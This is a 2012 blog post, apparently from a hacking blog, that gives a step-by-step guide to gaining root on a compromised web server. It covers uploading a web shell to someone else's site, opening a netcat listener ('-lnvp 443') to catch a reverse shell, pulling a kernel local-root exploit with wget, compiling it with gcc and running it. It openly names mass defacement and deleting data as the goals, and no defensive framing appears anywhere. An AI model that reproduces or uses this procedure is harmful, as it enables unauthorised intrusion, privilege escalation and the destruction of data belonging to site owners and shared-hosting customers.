Search This Blog

Saturday, June 2, 2012

How to Root a Webserver


What is a Root ? 
Root is the administrator of all server. If someone get root access he/she can do anything withe server like delete and copy anything in the server or deface all sites in the server ( Mass deface ).
How you can get the root access
You can get the root access by the local exploit.
Things required to root a server
  1. Shelled site
  2. Local root exploit for the site ( Try www.exploit-db.com fro finding )
  3. Net Cat
Download net cat :- http://www.downloadnetcat.com/
Let’s start how to root a server 
  • First of all upload shell in the site , open it you will see that in the top you will get the kernal version of the site. ( check the below screen shot)
  • Next step open your net cat type : -lnvp 443 press enter.
  • Now go to your back connect option let the ip address same change the port with 443 hit enter. after back connecting you will see in your net cat like this :-
  •  Now download the local root for the version. ( you can find by google them )
  • type wget link of the local root.c
  • chmod 777 localroot.c
  • Now change the local.c to local type gcc local root.c -o local root
  • it will be transformed into local root then type chmod 777 local
  • now time to execute our exploit type ./local root hit enter it will root and server will be rooted 

Add To Google BookmarksStumble ThisFav This With TechnoratiAdd To Del.icio.usDigg ThisAdd To RedditTwit ThisAdd To FacebookAdd To Yahoo

0 comments:

Post a Comment